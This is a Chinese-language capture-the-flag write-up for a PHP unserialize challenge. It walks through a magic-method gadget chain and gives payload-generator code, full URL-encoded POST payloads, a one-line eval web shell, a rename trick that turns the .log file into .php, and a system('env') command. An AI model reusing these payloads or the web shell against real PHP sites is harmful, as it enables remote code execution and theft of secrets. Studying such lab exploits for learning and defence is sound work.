0xgame ez_unser wp
0xgame ez_unser wp
之前一直以为自己会了,做了一遍还是不会,这次写的详细一点
<?php
highlight_file(__FILE__);
class Man{
private $name="原神,启动";
public function __wakeup() {
echo str_split($this->name);
}
}
class What{
private $Kun="两年半";
public function __toString() {
echo $this->Kun->hobby;
return "Ok";
}
}
class Can{
private $Hobby="唱跳rap篮球";
public function __get($name){
var_dump($this->Hobby);
}
}
class I{
private $name="Kobe";
public function __debugInfo(){
$this->name->say();
}
}
class Say{
private $evil;
public function __call($name, $arguments){
$this->evil->Evil();
}
}
class Mamba{
public function Evil(){
$filename=time().".log";
file_put_contents($filename,$_POST["content"]);
echo $filename;
}
}
class Out{
public function __call($name,$arguments){
$o = "./".str_replace("..", "第五人格",$_POST["o"]);
$n = $_POST["n"];
rename($o,$n);
}
}
unserialize($_POST["data"]);
Warning: Undefined array key "data" in /root/index.php on line 58
Deprecated: unserialize(): Passing null to parameter #1 ($data) of type string is deprecated in /root/index.php on line 58
解读一下
Say里面有一个$this->evil->Evil();Evil()方法在Mamba里有,我们可以得知如果evil是Mamba对象的话,可以调用Evil方法
class Say{
private $evil;
public function __call($name, $arguments){
$this->evil->Evil();
}
}
class Mamba{
public function Evil(){
$filename=time().".log";
file_put_contents($filename,$_POST["content"]);
echo $filename;
}
}
那 __call如何调用呢,查阅资料得,这个方法在对象中调用一个不可访问方法时调用 ,看到这段代码
class I{
private $name="Kobe";
public function __debugInfo(){
$this->name->say();
}
}
我们没找到say()这个方法,我们可以假象可能调用了一个不可访问方法时调用了Say里得call,那么name也就可以是Say的对象
那__debugInfo()如何被调用的?可以参考下面的文章
魔术方法toString()和debugInfo()详解 - 编程领地 - 博客园
和__tostring()方法一样,由var_dump()、print_r()打印对象体的时候,控制对象体要输出的属性和值;
也就是说,它可以被var_dump()、print_r()时被调用
class Can{
private $Hobby="唱跳rap篮球";
public function __get($name){
var_dump($this->Hobby);
}
}
找到了var_dump
那么Hobby就是I的对象
那么__get如何被调用呢
读取不可访问属性的值时,__get() 会被调用。也就是,当想要获取一个类的私有属性,或者获取一个类并为定义的属性时。该魔术方法会被调用。
也就是跟call差不多,如果访问一个不可访问的属性,会调用get
class What{
private $Kun="两年半";
public function __toString() {
echo $this->Kun->hobby;
return "Ok";
}
}
我们看到这,在其他类并没有hobby这个属性,因此在这里自动调用了get,那么Kun就是Can
__toString如何被调用的?跟debuginfo一样
所以找到
class Man{
private $name="原神,启动";
public function __wakeup() {
echo str_split($this->name);
}
}
在这里需要输出和字符串操作的时候被调用了
__wakeup是对象建立时被自动调用的
那么我们可以进行反序列化,有两种方式
第一种,在外面反序列化,我的代码是错的,因为这种方式需要注意private,容易出错
<?php
class Man{
private $name;
public function __wakeup() {
echo str_split($this->name);
}
}
class What{
private $Kun;
public function __toString(){
echo $this->Kun->hobby;
return "Ok";
}
}
class Can{
private $Hobby;
public function __get($name) {
var_dump($this->Hobby);
}
}
class I{
private $name;
public function __debugInfo(){
$this->name->say();
}
}
class Say{
private $evil;
public function __call($name, $arguments){
$this->evil->Evil();
}
}
class Mamba{
public function Evil(){
$filename=time().".log";
file_put_contents($filename,$_POST["content"]);
echo $filename;
}
}
class Out{
public function __call($name,$arguments){
$o = "./".str_replace("..", "第五人格",$_POST["o"]);
$n = $_POST["n"];
rename($o,$n);
}
}
$man = new Man();
$what = new What();
$can = new Can();
$i = new I();
$say = new Say();
$mamba = new Mamba();
$say->evil = $mamba;
$i->name=$say;
$can->Hobby=$i;
$what->Kun=$can;
$man->name = $what;
echo urlencode(serialize($man));
?>
第二种方式,在内部
<?php
class Man{
private $name="原神,启动";
public function __construct() {
$this -> name = new What();
}
}
class What{
private $Kun="两年半";
public function __construct()
{
$this -> Kun = new Can();
}
}
class Can{
private $Hobby="唱跳rap篮球";
public function __construct() {
$this -> Hobby = new I();
}
}
class I{
private $name="Kobe";
public function __construct() {
$this -> name = new Say();
}
}
class Say{
private $evil;
public function __construct() {
$this -> evil = new Mamba();
}
}
class Mamba{
}
class Out{
}
$man = new Man();
echo urlencode(serialize($man));
?>
__construct是对象构建执行的代码
在这里我们再回头看看Evil的逻辑,就是time()方法生成一个时间序列(不重要).log,然后我们要post一个content写入这个文件中,执行恶意代码,但问题是.log文件是不能被php系统直接解析的
class Mamba{
public function Evil(){
$filename=time().".log";
file_put_contents($filename,$_POST["content"]);
echo $filename;
}
}
我们看到下面,这里的意思其实就是给文件改名,我们可以改后缀名改成php,通过o和n,所以这里我们也需要反序列化
class Out{
public function __call($name,$arguments){
$o = "./".str_replace("..", "第五人格",$_POST["o"]);
$n = $_POST["n"];
rename($o,$n);
}
}
```php
<?php
class Man{
private $name="原神,启动";
public function __construct() {
$this -> name = new What();
}
}
class What{
private $Kun="两年半";
public function __construct()
{
$this -> Kun = new Can();
}
}
class Can{
private $Hobby="唱跳rap篮球";
public function __construct() {
$this -> Hobby = new I();
}
}
class I{
private $name="Kobe";
public function __construct() {
$this -> name = new Out();
}
}
class Out{
}
$man = new Man();
echo urlencode(serialize($man));
?>
我们可以conten里塞入一些代码让他执行
post:
data=O%3A3%3A%22Man%22%3A1%3A%7Bs%3A9%3A%22%00Man%00name%22%3BO%3A4%3A%22What%22%3A1%3A%7Bs%3A9%3A%22%00What%00Kun%22%3BO%3A3%3A%22Can%22%3A1%3A%7Bs%3A10%3A%22%00Can%00Hobby%22%3BO%3A1%3A%22I%22%3A1%3A%7Bs%3A7%3A%22%00I%00name%22%3BO%3A3%3A%22Say%22%3A1%3A%7Bs%3A9%3A%22%00Say%00evil%22%3BO%3A5%3A%22Mamba%22%3A0%3A%7B%7D%7D%7D%7D%7D%7D&content=<?php eval($_POST['shell'])?>
这里shell就是我们后面需要post的恶意代码,然后给文件改名
data=O%3A3%3A%22Man%22%3A1%3A%7Bs%3A9%3A%22%00Man%00name%22%3BO%3A4%3A%22What%22%3A1%3A%7Bs%3A9%3A%22%00What%00Kun%22%3BO%3A3%3A%22Can%22%3A1%3A%7Bs%3A10%3A%22%00Can%00Hobby%22%3BO%3A1%3A%22I%22%3A1%3A%7Bs%3A7%3A%22%00I%00name%22%3BO%3A3%3A%22Out%22%3A0%3A%7B%7D%7D%7D%7D%7D&o=1729583168.log&n=niubi666.php
在上传shell的内容,找到flag
这也是一句话木马
挺好玩的
第二种方法获取环境变量
post:
shell=system('env')
- 感谢你赐予我前进的力量